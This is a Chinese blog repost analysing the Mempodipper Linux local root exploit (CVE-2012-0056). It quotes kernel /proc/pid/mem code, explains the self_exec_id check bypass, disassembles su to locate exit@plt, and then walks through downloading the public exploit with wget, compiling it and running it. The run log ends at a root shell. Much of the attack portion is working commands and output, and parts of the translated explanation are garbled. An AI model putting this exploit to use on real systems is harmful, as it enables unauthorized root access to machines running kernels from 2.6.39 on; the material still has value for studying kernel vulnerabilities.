Linux>=2.6.39 Mempodipper本地提权分析和EXP利用(CVE-2012-0056)
linux  /  管理员 发布于 7年前   193
Linux>=2.6.39 Mempodipper本地提权分析和EXP利用(CVE-2012-0056)
 /proc/pid/mem是一个用于读取和写入,直接通过各地寻求与相同的地址作为该进程的虚拟内存空间进程内存的接口。
   
 影响Linux 内核> = 2.6.39
 当打开/proc/pid/mem时,会调用此内核代码:
复制代码代码如下:
 static int mem_open(struct inode* inode, struct file* file)
 {
 file->private_data = (void*)((long)current->self_exec_id);
 file->f_mode |= FMODE_UNSIGNED_OFFSET;
 return 0;
 }
 
 任何人都可以打开/proc/pid/mem fd 的任何进程写入 和读取,不过,有权限检查限制。让我们看看写功能:
 
复制代码代码如下:
 static ssize_t mem_write(struct file * file, const char __user *buf,
 size_t count, loff_t *ppos)
 {
 struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode);
 mm = check_mem_permission(task);
 copied = PTR_ERR(mm);
 if (IS_ERR(mm))
 goto out_free;
 if (file->private_data != (void *)((long)current->self_exec_id))
 goto out_mm;
 
 看代码有两个检查,以防止未经授权的写操作:
 
复制代码代码如下:
 check_mem_permission和self_exec_id。
 Check_mem_permission的代码只需调用到__check_mem_permission,代码:
 static struct mm_struct *__check_mem_permission(struct task_struct *task)
 {
 struct mm_struct *mm;
 mm = get_task_mm(task);
 if (!mm)
 return ERR_PTR(-EINVAL);
 if (task == current)
 return mm;
 if (task_is_stopped_or_traced(task)) {
 int match;
 rcu_read_lock();
 match = (ptrace_parent(task) == current);
 rcu_read_unlock();
 if (match && ptrace_may_access(task, PTRACE_MODE_ATTACH))
 return mm;
 }
 mmput(mm);
 return ERR_PTR(-EPERM);
 }
 
 有两种方法能对内存写入。
 
复制代码代码如下:
 $ su "hsmw fuck you"
 Unknown id: hsmw fuck you
 可以看到su的stderr 的输出“Unknown id:”,我们可以fd 打开/proc/self/mem, 来确定在内存中的位置, 然后dup2   stderr 和mem fd,  把su $shellcode 写入到内存中,获得root.
 已task == current测试, 用self_exec_id 匹配self_exec_id 来检测fd 的打开。
 Self_exec_id在内核中只引用的少数几个地方。
 void setup_new_exec(struct linux_binprm * bprm)
 {
 current->self_exec_id++;
 flush_signal_handlers(current, 0);
 flush_old_files(current->files);
 }
 EXPORT_SYMBOL(setup_new_exec); 
 
 我们创建一个子进程,用self_exec_id来exec 到一个新的进程里面。当我们exec一个新的进程,self_exec_id会产生一个增量。这里程序忙与execing到我们的shellcode写su,所以其self_exec_id得到 相同的值递增。所以我们要做的是把exec一个新的进程,fd /proc/parent-pid/mem 到父进程的PID。这个时候的FD是因为没有权限仅仅打开检查。当它被打开,其self_exec_id来时起作用,把我们exec来su,用self_exec_id将递增。通过我们打开的FD从子进程返回父进程,dup2,和exec 溢出代码到su.
 接下来调试溢出的地址和ASLR随机进程的空间地址。
 在这里得到错误字符串:
  403677:       ba 05 00 00 00          mov    $0x5,%edx
   40367c:       be ff 64 40 00          mov    $0x4064ff,%esi
   403681:       31 ff                   xor    %edi,%edi
   403683:       e8 e0 ed ff ff          callq  402468 (dcgettext@plt)
 然后把它写入到stderr:
  403688:       48 8b 3d 59 51 20 00    mov    0x205159(%rip),%rdi        # 6087e8 (stderr)
   40368f:       48 89 c2                mov    %rax,%rdx
   403692:       b9 20 88 60 00          mov    $0x608820,%ecx
   403697:       be 01 00 00 00          mov    $0x1,%esi
   40369c:       31 c0                   xor    %eax,%eax
   40369e:       e8 75 ea ff ff          callq  402118 (__fprintf_chk@plt)
 关闭日志;
 4036a3:       e8 f0 eb ff ff          callq  402298 (closelog@plt)
 退出程序;
  4036a8:       bf 01 00 00 00          mov    $0x1,%edi
   4036ad:       e8 c6 ea ff ff          callq  402178 (exit@plt)
 这里可以看到0×402178,这是它调用exit函数。我们来调试“Unknown id:" 的shellcode地址。
 $objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'  0x402178
 它会设置uid 和gid 为0 去执行一个SHELL。还可以重新打开dup2ing 内存之前,stderr fd 到stderr,
 我们选择另一个fd dup stderr,在shellcode,到我们dup2 ,其他fd回来到stderr。
 EXP 老外写好了。插入一段
 
复制代码代码如下:
 wget http://git.zx2c4.com/CVE-2012-0056/tree/mempodipper.c
 CVE-2012-0056 $ ls
 build-and-run-exploit.sh build-and-run-shellcode.sh mempodipper.c shellcode-32.s shellcode-64.s
 CVE-2012-0056 $ gcc mempodipper.c -o mempodipper
 CVE-2012-0056 $ ./mempodipper
 ===============================
 = Mempodipper =
 = by zx2c4 =
 = Jan 21, 2012 =
 ===============================
 [+] Waiting for transferred fd in parent.
 [+] Executing child from child fork.
 [+] Opening parent mem /proc/6454/mem in child.
 [+] Sending fd 3 to parent.
 [+] Received fd at 5.
 [+] Assigning fd 5 to stderr.
 [+] Reading su for exit@plt.
 [+] Resolved exit@plt to 0x402178.
 [+] Seeking to offset 0x40216c.
 [+] Executing su with shellcode.
 sh-4.2# whoami
 root
 sh-4.2#
 
摘自 混世魔王博客 
122 在
学历:一种延缓就业设计,生活需求下的权衡之选中评论 工作几年后,报名考研了,到现在还没认真学习备考,迷茫中。作为一名北漂互联网打工人..123 在
Clash for Windows作者删库跑路了,github已404中评论 按理说只要你在国内,所有的流量进出都在监控范围内,不管你怎么隐藏也没用,想搞你分..原梓番博客 在
在Laravel框架中使用模型Model分表最简单的方法中评论 好久好久都没看友情链接申请了,今天刚看,已经添加。..博主 在
佛跳墙vpn软件不会用?上不了网?佛跳墙vpn常见问题以及解决办法中评论 @1111老铁这个不行了,可以看看近期评论的其他文章..1111 在
佛跳墙vpn软件不会用?上不了网?佛跳墙vpn常见问题以及解决办法中评论 网站不能打开,博主百忙中能否发个APP下载链接,佛跳墙或极光..
			Copyright·© 2019 侯体宗版权所有·
			粤ICP备20027696号
			 
			
